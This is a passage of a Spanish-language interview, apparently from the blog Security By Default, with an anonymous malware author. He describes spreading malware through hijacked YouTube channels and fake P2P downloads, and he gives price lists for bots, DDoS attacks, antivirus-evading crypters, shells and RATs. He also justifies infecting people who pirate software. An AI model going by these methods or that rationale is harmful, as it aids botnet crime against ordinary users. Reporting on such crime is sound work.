Paso mucho tiempo después del juicio y a pesar del arrepentimiento que me comía por dentro no pude dejar el tema, le compre un portátil a un amigo, no de mucha potencia pero si lo suficiente para poder trabajar y utilizando una antena WiFi direccional con una lata de pringles y una tarjeta USB Conceptronic C54RU con el chitsep Ralink RT2570 le robaba el WiFi al vecino y usaba el ordenador únicamente por las noches y algunos momento por la tarde cuando no había nadie en casa, volvía a estar activo visitando los foros de Internet para saber que me había perdido esos meses, que nuevo software había en el mercado tanto gratuito como de pago y así poco a poco sin hacer nada malo, solo recopilando información hasta los 18 años.

- Pese a lo ocurrido vuelves a la carga, hoy en día ¿cuál es el mecanismo de infección que utilizas?
Existen muchos tipos de infección entro los cuales yo utilizo:
-La ingeniería social: Utilizando cuentas de YouTube de usuarios robadas que proporcionan Keygens de programas, Crack de Activación, Parches de idiomas etc... Reemplazo los links de la descripción del vídeo con su propio programa pero con Malware dentro, de esa forma utilizando la confianza de cientos y miles de usuarios que depositan en ese canal de YouTube, queden infectados.

-Propagación P2P: Utilizando el mismo Malware y generarlo una y otra vez con un listado de los programas más buscados y descargados por Internet y cambiándole el Icono por el de Utorrent comparto por Apex C++, Ares, Emule la carpeta con casi unos 250 Gb de Malware el cual cada archivo simulando un Link de Descarga vía Utorrent con un peso de entre 53Kb y 150Kb, permitiendo a los usuario que realicen descargas rápidas del software, vídeo, música, pdf para Ebooks que estén buscando y forzándoles a ejecutarlo para que su descarga se realice por utorrent aunque nunca se lleve a cumplir y una vez ejecutado el propio malware se adjunta con cualquiera de los archivos que tenga en su propia carpeta de compartición P2P y convirtiendo a los demás usuarios que descarguen sus archivos en propagadores de malware y así sucesivamente.

Es un poco como tirar la caña y esperar.

- ¿Has usado alguna otra técnica como colgar exploits de java, IE, flash, etc para la infección?
Si, los ataques MITM (man in the middle) son por supuesto no una técnica muy fluida a la hora propagar malware pero si de penetrar en sistemas informaticos ya que es una manera 100% segura de logar una exitosa inyección de malware dentro de un sistema, para ello consulto multitud de paginas webs para estar al tanto de las ultimas brechas de seguridad que los fabricantes de Software no protegen debidamente y estudio constantemente día a día los nuevos exploits para comprender como trabaja el código, como se comporta y como actúa.

Ya que, una vez dentro de una red ajena las posibilidades son muy elevadas de que algún usuario no tenga la ultima actualización de algunos programas o incluso de que no tenga un simple Anti-Virus. Estos descuidos permiten aprovechar esos servicios que el usuario tiene descuidados y proporcionándome un éxito seguro a la hora de introducir malware en un ordenador de un usuario común e incluso en los servidores de multitud de empresas que no llevan a la orden del día las medidas de protección adecuadas.

- ¿Cuáles son los foros habituales underground? ¿Qué vendes allí? ¿A qué precio?
Los foros habituales underground que yo visito actualmente son:

Etc...
No solo utilizo esos sitios como una manera de obtener nuevos conocimientos y compartir información con otros usuarios del mundo underground, sino que también algunos de ellos los uso como un mercado de compra y venta de software.

Entre los cuales algunos de mis servicios son:

La venta de BOTs (ordenadores que he infectado con malware), suelo venderlos por paquetes:
  • 100-200 BOTs - Entre 45$ y 80$
  • 500-1000 BOTs - Entre 180$ y 400$
  • 2000-5000 BOTs - Entre 600$ y 1500$

También vendo paquetes personalizados en los que el comprador puede elegir si quiere que el BOT tenga:
Antivirus o No
Firewall o No
El tipo de Sistema Operativo Windows XP, Windows Vista, Windows 7, Windows 8 o Windows 8.1, Linux, Apple.
WebCam o No
Mujeres u Hombres
Etc...

Ataques de DDoS (Denagacion de Servicio):
También por paquetes adaptándolo a las necesidades del comprador ya sea por Horas, o bien por BOTs
  • 1 Hora - 20$
  • 3 Horas - 50$
  • 6 Horas - 90$
  • 400 BOTs - 18$
  • 600 BOTs - 25$
  • 1000 BOTs - 40$
Y el más grande de todos: 10.000 BOTs - 200$

Cryptes para hacer que el malware quede indetectable a los base de datos de los Antivirus y Tips de Antivirus.
Crypter FUD 0/47 Antivirus SemiPrivado 25$. Semiprivado significa que ese mismo crypter se lo puedo estar vendiendo a otros compradores y que su uso garantizado ronda entre 1 y 3 Semanas.
Crypter FUD 0/47 Antivirus Privado 60$ una vez comprado el propio comprador es el único que lo tiene y no vuelvo a usar los Tips y el código para generar uno nuevo e incluye todas las opciones y que su uso garantizado ronda entre 2 y 5 meses:
-Cambio de icono
-Mutex
-Cifrado random
-3 Stubs
Etc...

Tips para que el propio cliente elimine la detección del malware por el antivirus.

Bypass de filtros XSS en la web que el comprador elija
Shell o BackDoor en el servidor que el comprador elija
R.A.T (Remote Admin Tools) personalizadas con más o menos funciones

- ¿Sabes para que utilizan otras personas esos bots/zombies?
Desconozco el uso exacto que le pueden dar los compradores a los BOTs, pero me hago una idea aproximada:
-Crear sus propias BOT-Nets
-Administrar ellos mismos los BOTs para extraer información así como cuentas de usuarios de redes sociales, cuentas bancarias, espiar la WebCam para vender las imágenes en páginas underground etc...

- ¿Has participado alguna vez en movimientos de Anonymous u algún otro grupo?
En el año 2011 me incorpore al grupo de Ciber Activistas Anonymous como un nuevo miembro y al cabo de unos meses como uno de los líderes de Operaciones cuando modifique la herramienta HOIC (High Orbit Ion Canon) y la hice más potente y eficaz permitiendo a los demás miembros usarla únicamente abriendo la herramienta HOIC y teniendo que establecer la IP para colaborar en la Operación...

- ¿Alguna vez has atacado a otras personas del underground?
Si, en la mayoría de casos por desacuerdos ideológicos, o porque era un comprador que nunca llego a realizar el pago.
También he realizado ataques a foros enteros rompiendo su seguridad y robando la base de datos de sus miembros e identificarlos en la vida real.

- ¿Cuánto dinero se puede pagar mensualmente por esto?
Los precios de los productos sor básicamente los que especifico en preguntas anteriores, pero como en todo mercado el precio varia cada mes y en cada situación, depende la demanda de BOTs, la seguridad de una pagina web etc... Y actualmente se pueden llegar a tener unos ingresos aproximados mensuales de entre 1.700 a 3.000 euros, depende siempre del mercado y de la demanda de productos por parte de los compradores.

- ¿Cuantos ordenadores calculas que has llegado a infectar? ¿y a controlar simultáneamente?
No sabría decir un numero con total exactitud, ya que con los años unos vienen otros se van por descuidar el malware, etc.

Pero actualmente controlo varias Bot-Nets y dispongo de varios R.A.T's en lo que aparece el numero de usuarios infectados en el panel de control y en mis Bot-Nets controlo actualmente cerca de unos 130.000 Zombies y en los R.A.T's que uso actualmente para llevar a cabo la venta de BOTs tengo infectados unos 58.700 ordenadores.

- ¿No tienes reparos éticos?
En ciertas ocasiones si pero en otras no. Si yo creo un malware y lo subo a Internet y el usuario lo descarga a su ordenador y lo ejecuta no es porque yo le esté apuntando con una pistola y le obligue a hacer doble click es porque ese usuario también es un delincuente, al fin y al cabo ese usuario lo que está haciendo es un delito por que no está pagando por ese software lo está adquiriendo de una forma no oficial, ética ni moral, está pirateando un producto que puede valer de entre un euro a cientos y todo por no pagarlo, si comprara el software no tendría que descargar programas que "únicamente" sirven para validar o activar ese software.
Si el usuario comprara siempre el software, no rentaría crear malware e introducirlo en programas de validación ya que nadie lo iba a descargar y nosotros luego no tendríamos BOTs que vender y no solo con el software, también con la música, películas etc... Es cierto que los precios de muchos productos son desorbitados, pero esto se refleja con algo tan simple como ir a comprar una barra de pan, si quieres pan te diriges a la panadería y lo compras, pero si no lo quieres pagar esperas a que lo estén metiendo en el camión de repostar y cuando se despisten lo robas, y esto mismo sucede con todo el software, licencias de validación etc...

En otro tipo de casos sí que tengo reparos éticos cuando algún cliente lo que me encarga es hacer una denegación de servicio, la obtención de información de cuentas de correo electrónico o la base de datos de una empresa porque dentro de esa empresa hay muchas personas y esas personas tienen familia y tienen que vivir gracias a la economía que su sueldo les proporciona a final de mes y el pensar que esa gente puede llegar a perder su puesto de trabajo y que tú eres el responsable es algo que te hiere por dentro.

- ¿No tienes miedo de que te cojan?
Por supuesto, ese es el principal riesgo a tener en cuenta, para ello empleo varios métodos de anonimato navegando con VPN privados, multitud de proxys y siempre con extrema precaución. De echo a lo largo de cada día que pasa, la mayor parte del tiempo la paso comprobando mi propia seguridad, haciéndome a mi mismo exámenes semanales de pentesting, verificando todas las conexiones entrantes y salientes, comprobando re-direcciones a la hora de entrar en paginas web, comprobando cada archivo tipo de archivo que descargo en maquinas virtuales, trazadas, pings etc...

- Como crees que está el panorama del cibercrimen en general en comparación a unos años antes.
Desde mi punto de vista no solo esta tecnológicamente más avanzado si no que a cada día que pasa existen nuevas técnicas de hacking, nuevos programas automatizados o de botón gordo en los que básicamente es meter una pequeña secuencia de comandos y esperar. Y ya que las técnicas de hoy en día mejoran por momentos y por Internet podemos llegar a encontrar prácticamente cualquier tipo de información es más accesible al ciber delincuente aprovecharse de las vulnerabilidades del usuario corriente. 

Pero como en todo mercado rige una Ley, la oferta y la demanda, si nadie comprara servicios de hacking de páginas web, servidores de la competencia, BOTs u obtención de información, nadie iría vendiéndola "puerta" por "puerta". Lo que está claro es que hoy en el día la gente quiere información y también los medios para conseguirla y los hackers han encontrado un mercado en el que se paga muy bien por esa información, esa cuenta del administrador de sistemas, o el administrador de correo de una empresa y mientras haya gente dispuesta a pagar por esos servicios el mercado seguirá creciendo y mayores medidas de seguridad deberán emplear no solo las empresas si no también el usuario corriente porque a mayor cantidad de seguridad mayor será el precio por conseguir esa información, ese fallo en la seguridad, esa vulnerabilidad y es un poco la rueda que nunca para de girar.

Y como despedida agradecerle a Security By Default por haberme realizado esta entrevista y espero que tanto sus miembros como sus lectores hayan disfrutado con ella, tanto como yo respondiendo a cada una de sus preguntas.

Un cordial saludo desde el Mundo Underground, K***h.

Leer más...